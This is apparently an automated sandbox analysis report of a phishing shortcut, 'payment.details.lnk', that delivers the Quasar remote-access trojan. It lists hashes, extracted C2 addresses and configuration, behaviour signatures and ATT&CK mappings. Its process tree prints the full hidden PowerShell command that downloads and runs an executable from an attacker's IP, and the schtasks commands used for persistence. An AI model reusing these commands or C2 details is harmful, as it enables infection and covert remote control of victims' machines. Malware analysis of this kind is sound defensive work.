quasar | e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00

Analysis

max time kernel
145s
max time network
147s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-11-2024 06:33

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General

Target

payment.details.lnk
Size

2KB
MD5

04e779f16953e15b609dfab5be6ebd26
SHA1

d0e0b98da3f2ee3b0f8346d511436891380dd4f6
SHA256

e29b86ad063e26d4f88cc123f784983f542357cf922f296813b615c3d0d80a00
SHA512

4e1967297fb67949b14b16fe8f1d8292360b94602e9da4871476bd7bba84c2cc013bc1b1cedff029c8b01b81f357657919cddcc030ad783a4e61a8db2e5b564b

Score

10^/10

quasar vtroy discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

31.13.224.12:61512

31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes

encryption_key
7Vp2dMCHrMjJthQ2Elyy
install_name
downloads.exe
log_directory
Logs
reconnect_delay
5000
startup_key
cssrse.exe
subdirectory
downloadupdates

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2788-58-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2788-65-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/2788-64-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
4	2948	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2948	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 8 IoCs

Processes:

ajtjewc.exeajtjewc.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exedownloads.exedownloads.exe

pid	Process
2680	ajtjewc.exe
2788	ajtjewc.exe
2648	ajtjewc.exe
2504	ajtjewc.exe
676	downloads.exe
2320	downloads.exe
1956	downloads.exe
1296	downloads.exe

Loads dropped DLL 4 IoCs

Processes:

ajtjewc.exeajtjewc.exe

pid	Process
2680	ajtjewc.exe
2680	ajtjewc.exe
2680	ajtjewc.exe
2504	ajtjewc.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
5	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

ajtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 2680 set thread context of 2788	2680	ajtjewc.exe	31
PID 2680 set thread context of 2648	2680	ajtjewc.exe	32
PID 2680 set thread context of 2504	2680	ajtjewc.exe	33
PID 676 set thread context of 2320	676	downloads.exe	38
PID 676 set thread context of 1956	676	downloads.exe	39
PID 676 set thread context of 1296	676	downloads.exe	40

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

schtasks.exedownloads.exedownloads.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exeschtasks.exeajtjewc.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ajtjewc.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exe

pid	Process
852	schtasks.exe
2868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2948	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeajtjewc.exeajtjewc.exedownloads.exedownloads.exe

description	pid	Process
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2680	ajtjewc.exe
Token: SeDebugPrivilege	2504	ajtjewc.exe
Token: SeDebugPrivilege	676	downloads.exe
Token: SeDebugPrivilege	1296	downloads.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeajtjewc.exeajtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 2136 wrote to memory of 2948	2136	cmd.exe	29
PID 2136 wrote to memory of 2948	2136	cmd.exe	29
PID 2136 wrote to memory of 2948	2136	cmd.exe	29
PID 2948 wrote to memory of 2680	2948	powershell.exe	30
PID 2948 wrote to memory of 2680	2948	powershell.exe	30
PID 2948 wrote to memory of 2680	2948	powershell.exe	30
PID 2948 wrote to memory of 2680	2948	powershell.exe	30
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2788	2680	ajtjewc.exe	31
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2648	2680	ajtjewc.exe	32
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2680 wrote to memory of 2504	2680	ajtjewc.exe	33
PID 2504 wrote to memory of 852	2504	ajtjewc.exe	35
PID 2504 wrote to memory of 852	2504	ajtjewc.exe	35
PID 2504 wrote to memory of 852	2504	ajtjewc.exe	35
PID 2504 wrote to memory of 852	2504	ajtjewc.exe	35
PID 2504 wrote to memory of 676	2504	ajtjewc.exe	37
PID 2504 wrote to memory of 676	2504	ajtjewc.exe	37
PID 2504 wrote to memory of 676	2504	ajtjewc.exe	37
PID 2504 wrote to memory of 676	2504	ajtjewc.exe	37
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 2320	676	downloads.exe	38
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1956	676	downloads.exe	39
PID 676 wrote to memory of 1296	676	downloads.exe	40
PID 676 wrote to memory of 1296	676	downloads.exe	40
PID 676 wrote to memory of 1296	676	downloads.exe	40
PID 676 wrote to memory of 1296	676	downloads.exe	40

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\payment.details.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ajtjewc.exe');./'ajtjewc.exe';(get-item 'ajtjewc.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
    "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2788
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      PID:2648
  - - C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2504
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:852
    - - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:676
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2320
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1956
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1296
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe" /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ajtjewc.exe

Filesize
774KB

MD5
b8fc2efcc33d3160f38fcb6b39319e6a

SHA1
a61413a5b6c19b4a388e6c89aaa9304c657b3e08

SHA256
3df20b1c9806c327d72824f1b9a4ffcbe702d152fbf11fca42a36c862cbafd0a

SHA512
ba4ef7ec5dd7b9ad8ec49ef73315bded8ecc72212b11e3a1384b6d4f3f264867312cda41268a8d1df6fc8c3caa63813c15aa4ff29f0324360a95d59de3456d3b

Download Submit
memory/676-76-0x0000000000940000-0x0000000000A0A000-memory.dmp

Filesize
808KB

Download
memory/2680-56-0x00000000048F0000-0x00000000049DE000-memory.dmp

Filesize
952KB

Download
memory/2680-54-0x0000000000100000-0x00000000001CA000-memory.dmp

Filesize
808KB

Download
memory/2788-64-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-65-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2788-58-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2948-44-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-41-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-45-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-53-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-55-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-38-0x000007FEF5E0E000-0x000007FEF5E0F000-memory.dmp

Filesize
4KB

Download
memory/2948-40-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/2948-43-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-42-0x000007FEF5B50000-0x000007FEF64ED000-memory.dmp

Filesize
9.6MB

Download
memory/2948-39-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

Download